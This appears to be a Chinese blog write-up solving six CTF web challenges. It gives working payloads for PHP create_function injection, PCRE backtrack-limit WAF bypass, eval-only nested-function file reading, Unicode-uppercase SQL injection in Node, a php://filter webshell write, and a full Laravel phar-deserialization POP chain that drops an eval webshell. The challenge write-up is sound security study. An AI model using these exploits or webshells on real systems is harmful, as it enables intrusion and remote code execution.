Hu3sky's blog

Code-Breaking Puzzles

Word count: 3,244 / Reading time: 15 min
2019/01/23 Share

Code-Breaking Puzzles

easy - function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

// i 表示不区分大小写
// s 表示将字符串视为单行来匹配
// D是非数字

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}
?>

代码很简单,如果匹配到字母数字下划线开头 就会显示代码,否则,就会把action当作函数处理,并且arg当作函数的一个参数,这里用到的是可变函数

可变函数:这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。

第一点需要绕过/^[a-z0-9_]*$/ 。这里可以用\绕过,因为在命名空间里\func()表示的是调用全局空间函数func().如果直接写函数名fun()调用,调用的时候其实相当于写了一个相对路径,而用\func(),即使用的是绝对路径

例如有如下代码。

1
2
3
4
5
6
7
<?php
namespace A;
use B\D,C\E as F
foo(); // 首先尝试调用定义在命名空间"A"中的函数foo()
// 再尝试调用全局函数 "foo"
\foo(); // 调用全局空间函数 "foo"
?>

第二点就是$action('', $arg);这里可变函数的使用,第一个参数是空 这里用到一个函数 create_function()
参考链接 http://blog.51cto.com/lovexm/1743442
具体用法:

create_function('','$GET_['fname']')

等价于

function f() { $GET_['fname']; }

于是传入参数为 1;}phpinfo();/*

function f(){1;}phpinfo();/*}

即可造成命令执行
于是构造payload
1

禁用了系统命令函数,只能去读flag,首先获取当前文件下的文件,找到flag文件名,用scandir()函数,列出当前目录下文件,发现只有index.php文件,再找上级目录。
http://51.158.75.42:8087/?action=\create_function&arg=2;}print_r(scandir(%27/var/www/%27));/*
1

发现flag文件,getflag
http://51.158.75.42:8087/?action=\create_function&arg=2;}echo%20file_get_contents(%27/var/www/flag_h0w2execute_arb1trary_c0de%27);/*

easy - pcrewaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);

header("Location: $path", true, 303);
}

首先waf函数is_php过滤了被标签<? xxx;所包裹的,即php文件
发现可以用<script>标签绕过

1

但是从php7开始就不支持这种标签了,从之前的phpinfo来看题目环境也应该是7以上的版本
所以还是需要绕过这个正则,需要用到pcre的回溯限制问题

可以看到

1
preg_match('/<\?.*[(`;?>].*/is', $data);

在匹配后面这一部分 xxx; 的时候使用了非贪婪模式?,PHP正则使用的pcre库属于NFA

  • NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态

但是默认的回溯次数是有限制的

1

pcre.backtrack_limit //最大回溯数 默认为100万次,所以只要当回溯的次数大于100万次的时候,就会匹配失败。这里借用p师傅的一张图,就比如

1
/<\?.*[(`;?>].*/is

去匹配<?php phpinfo(); ?>//aaaa

1

可以看到先是.*匹配了所有字符串,但是为了匹配

(;?>

就得回溯直到回溯到;之前,就能匹配上[]里的了,接着再去匹配下一个.*
于是

构造表单直接上传
1

上传后,直接跳转到生成的php下

1

然后再读flag

1

如何防御

用全等号来判断返回值,preg_match返回值为0或1

1
2
3
4
5
6
7
8
9

<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(is_php($input) === 0) {
// fwrite($f, $input); ...
}

easy - phplimit

1
2
3
4
5
6
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}

正则的意思 比如传入一个 phpinfo(); 然后将;之前的置为空,如果结果全等于;,就执行eval函数,前面/[^\W]+\((?R)?\)/需要匹配到以数字,字母,下划线开头的函数,并且函数不能有参数,而这个(?R)是正则里的递归匹配 能匹配asd(asd(ads()));也就是说我们只能传进去这种嵌套的函数,而且还不能有参数

getflag_name

于是,获取flag名称的payload
print_r(scandir(dirname(getcwd())));
getcwd():获取当前工作目录,本题就是/var/www/html
dirname() 获取上级目录,于是dirname(getcwd())就是 /var/www,
并且得用chdir()函数切换到这个目录来读取这个目录下的文件
接着获取当前目录下的所有文件scandir() 但是返回的是一个数组 Array ( [0] => . [1] => .. [2] => flag_phpbyp4ss [3] => html )
所以得获得flag_phpbyp4ss这个字符串

get_flag

http://51.158.75.42:8084/?code=print_r(file_get_contents(next(array_reverse(scandir(dirname(chdir(dirname(getcwd()))))))));

easy - nodechr

题目源码分析

9
题目给了源码,根据源码来看这题是一道koa框架的nodejs
main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
async function main() {
const app = new Koa()
const router = new Router()
const db = await sqlite.open(':memory:')

await db.exec(`CREATE TABLE "main"."users" (
"id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
"username" TEXT NOT NULL,
"password" TEXT,
CONSTRAINT "unique_username" UNIQUE ("username")
)`)
await db.exec(`CREATE TABLE "main"."flags" (
"id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
"flag" TEXT NOT NULL
)`)
for (let user of config.users) {
await db.run(`INSERT INTO "users"("username", "password") VALUES ('${user.username}', '${user.password}')`)
}
await db.run(`INSERT INTO "flags"("flag") VALUES ('${config.flag}')`)

router.all('login', '/login/', login).get('admin', '/', admin).get('static', '/static/:path(.+)', static).get('/source', source)

app.use(views(__dirname + '/views', {
map: {
html: 'underscore'
},
extension: 'html'
})).use(bodyParser()).use(session(app))

app.use(router.routes()).use(router.allowedMethods());

app.keys = config.signed
app.context.db = db
app.context.router = router
app.listen(3000)
}

从代码来看,main函数主要是创建连接了sqlite数据库users表里插入了username,password,id
flags表中插入了id,flag
然后还写了路由

1
router.all('login', '/login/', login).get('admin', '/', admin).get('static', '/static/:path(.+)', static).get('/source', source)

safeKeyword方法

  • i 不区分大小写匹配
  • s 将字符串视为单行,换行符作为普通字符
1
2
3
4
5
6
7
function safeKeyword(keyword) {
if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
return keyword
}

return undefined
}

对sql注入危险字符串进行了过滤
login函数查询代码

1
2
3
//将用户名和密码转换为大写

let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)

解题思路

根据万能密码能够登陆,想到大概是让我们注入查询出flag

9
9

但是union select又被过滤掉了

一开始想的是通过nodejs的函数readFileSync但是有一个大写的转换,而nodejs函数是区分大小写的,于是行不通了

发现p神的文章
https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
里面说到了toUpperCase这个函数的问题

1
2
"ı".toUpperCase() == 'I'
"ſ".toUpperCase() == 'S'

于是,绕过了safeKeyword的正则,可进行union select注入
flag在flags表中

于是username填写(查字段数)

1
admin' unıon ſelect flag 1,2,'3

9

第二位是回显位
于是构造

1
1' unıon ſelect 1,(ſelect flag from `flags`),'3

getflag
9

easy - phpmagic

代码分析

题目是用dig命令(查询域名)去执行我们传入的ip,看题目应该是一道命令执行
9
给出了源码,关键代码(分两)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//......

$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');

//.....

<?php if(!empty($_POST) && $domain):
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);

$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);

$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}

echo $output;
endif; ?>

大致是 我们POST的domain的结果会写入到$log_name这个文件中去
而这个文件默认是以

date('-Y-m-d')做文件名
当我们传入POST[‘log’]就会以我们传入为文件名,也就是说文件名可控
之后又把文件名拼接为$_SERVER['SERVER_NAME'] . $log_name;
然后检测文件名的后缀,如果不在['php', 'php3', 'php4', 'php5', 'phtml', 'pht']
里面
就将dig的结果写入文件里

猜测利用点

初步猜测是绕过in_array 写入php文件
这里绕过php,猜测的方法有

  • %00截断
  • %0a截断
  • /.绕过

后缀绕过

访问写入的文件
9

这里注意,目录结构
http://51.158.75.42:8082/data/md5(ip)/host+$_POST['log']
这里我post的log是hu3sky.txt
dig的内容是127.0.0.1 | whoami
这样一来,就有思路了,于是我传入dig的内容
<?php phpinfo() ;>
9
很尴尬,忘了代码中利用htmlspecialchars进行实体编码了
不急,一步一步来,先绕过那个后缀判断
测试后,0a和/.都能绕过
即访问

1
2
http://51.158.75.42:8082/data/a22cdc8b098b7ad0153672e2e3bf5edd/51.158.75.42hu3sky.php%0a
http://51.158.75.42:8082/data/a22cdc8b098b7ad0153672e2e3bf5edd/51.158.75.42hu3sky.php/.

文件写入

p师傅之前有一篇文章
https://www.leavesongs.com/PENETRATION/php-filter-magic.html
利用php://filterbase64的编码与解码写入文件
于是,可解码字符为
9
9
刚好4个一组,base64解码也是4个byte一组,所以不需要补

构造payload

注意修改Host,他会拼接
(Host不能包含: /等特殊字符)

1
domain: base64后的<?=`ls`;/***

9
成功执行
9
final payload
PD89YGNhdCAnLi4vLi4vLi4vZmxhZ19waHBtYWcxY191cjEnYDsvKioq
9

lumenserial

初步判断

下载源码审计
禁用了函数

1
system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log

首先composer install
关键代码在app/Http/Controllers/EditorController.php
几个自认为比较关键的地方

download函数

1
2
3
4
5
private function download($url)
{
...

$content = file_get_contents($url);

其中这个url函数是完全可控的
既然有file_get_contents 不难想到可以利用phar进行反序列化

寻找POP链

想要寻找phar的利用入口,就需要用到__destruct__call函数对其他函数的调用
先全局搜索__destruct,在vendor/illuminate/broadcasting/PendingBroadcast.php

1
2
3
4
public function __destruct()
{
$this->events->dispatch($this->event);
}

跟进dispatch 方法
9
于是我们可以将$this->events置为我们想要利用的类,而类没有dispatch方法,从而去调用该类里的__call方法

那么我们就要把目光投向__call方法,__call方法就很多了
9

ValidGenerator

vendor/fzaninotto/faker/src/Faker/ValidGenerator.php

1
2
3
4
5
6
7
8
9
10
11
12
13
public function __call($name, $arguments)
{
$i = 0;
do {
$res = call_user_func_array(array($this->generator, $name), $arguments);
$i++;
if ($i > $this->maxRetries) {
throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
}
} while (!call_user_func($this->validator, $res));

return $res;
}

$name 参数是要调用的方法名称。$arguments 参数是一个枚举数组,包含着要传递给方法 $name 的参数。
所以说这里的$name就为dispatch,不可控

$res = call_user_func_array(array($this->generator, $name), $arguments);

Generator

而这里$this->generatorGenerator
但是在Generator类 由于找不到dispatch方法,又会去调用Generator类的__call方法

1
2
3
4
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}

此时$methoddispatch 不可控
format方法

1
2
3
4
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}

$formatterdispatch 可控

getFormatter方法

1
2
3
4
5
6
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
...

看到,这里return了一个fomatters数组,于是可以控制该数组
于是在format
return call_user_func_array($this->getFormatter($formatter), $arguments);
这里$this->getFormatter($formatter)就为数组,于是可以调用任意类的方法
于是让$formatters = array("$dispatch"=>"array($obj,"getFormatter")")

取出的$dispatch 就是 array($obj,"getFormatter")
然后 $obj=array('everything' => $evilobj)
这里需要两次调用Generator类,嵌套调用

  • 第一次:使$dispatch成为一个数组,让其值可控
  • 第二次:返回任意类,使$res可控

(这个点饶了一万年。。。)

利用任意类

既然$res可控了,即call_user_func($this->validator, $res)
第二个参数可控

vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnCallback.php

1
2
3
4
5
6
7
8
9
10
11
private $callback;

public function __construct($callback)
{
$this->callback = $callback;
}
...
public function invoke(Invocation $invocation)
{
return \call_user_func_array($this->callback, $invocation->getParameters());
}

$this->callback可控,getParameters在接口
9
于是要找继承该接口的类

vendor/phpunit/phpunit/src/Framework/MockObject/Invocation/StaticInvocation.php

1
2
3
4
5
6
class StaticInvocation implements Invocation, SelfDescribing{
...
public function getParameters(): array
{
return $this->parameters;
}

于是payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast{
function __construct()
{
$this->event = 'hu3sky';
$this->events = new \Faker\ValidGenerator();
}
}
}

namespace PHPUnit\Framework\MockObject\Stub{
class ReturnCallback{
function __construct()
{
$this->callback = 'file_put_contents';
}
}
}

namespace PHPUnit\Framework\MockObject\Invocation{
class StaticInvocation{
function __construct()
{
$this->parameters = array('/var/www/html/upload/b.php','<?php @eval($_POST[a]);?>');
}
}
}

namespace Faker{
class ValidGenerator{
function __construct()
{
$ob1 = new \PHPUnit\Framework\MockObject\Stub\ReturnCallback();
$ob = new \PHPUnit\Framework\MockObject\Invocation\StaticInvocation();
$ob2 = new \Faker\Generator(array('hu3sky' => $ob));
$ob3 = new \Faker\Generator(array('dispatch' => array($ob2,'getFormatter')));

$this->validator = array($ob1,'invoke');
$this->generator = $ob3;
$this->maxRetries = 1000;
}
}

class Generator{
function __construct($format)
{
$this->formatters = $format;
}
}
}

namespace{
$exp = new Illuminate\Broadcasting\PendingBroadcast();
print_r(urlencode(serialize($exp)));

// phar
$p = new Phar('hu3sky.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($exp);
$p->addFromString('1.txt','text');
$p->stopBuffering();
}
?>

将hu3sky.phar改名为gif 然后去上传图片,图片返回地址可以在F12里看到
然后,利用file_get_contents包含
http://51.158.73.123:8080/server/editor?action=Catchimage&source[]=phar:///var/www/html/upload/image/e47ef897e343f580c9b59e4b9756074e/201901/23/dd9b81060394e6264c10.gif
就会生成马
9

学习与参考

https://www.cnblogs.com/iamstudy/articles/code_breaking_lumenserial_writeup.html
https://www.kingkk.com/2018/11/Code-Breaking-Puzzles-%E9%A2%98%E8%A7%A3-%E5%AD%A6%E4%B9%A0%E7%AF%87/#lumenserial

CATALOG
  1. 1. Code-Breaking Puzzles
    1. 1.1. easy - function
    2. 1.2. easy - pcrewaf
      1. 1.2.1. 如何防御
    3. 1.3. easy - phplimit
      1. 1.3.1. getflag_name
      2. 1.3.2. get_flag
    4. 1.4. easy - nodechr
      1. 1.4.1. 题目源码分析
      2. 1.4.2. 解题思路
    5. 1.5. easy - phpmagic
      1. 1.5.1. 代码分析
      2. 1.5.2. 猜测利用点
      3. 1.5.3. 后缀绕过
      4. 1.5.4. 文件写入
    6. 1.6. lumenserial
      1. 1.6.1. 初步判断
      2. 1.6.2. 寻找POP链
        1. 1.6.2.1. ValidGenerator
        2. 1.6.2.2. Generator
        3. 1.6.2.3. 利用任意类
      3. 1.6.3. 学习与参考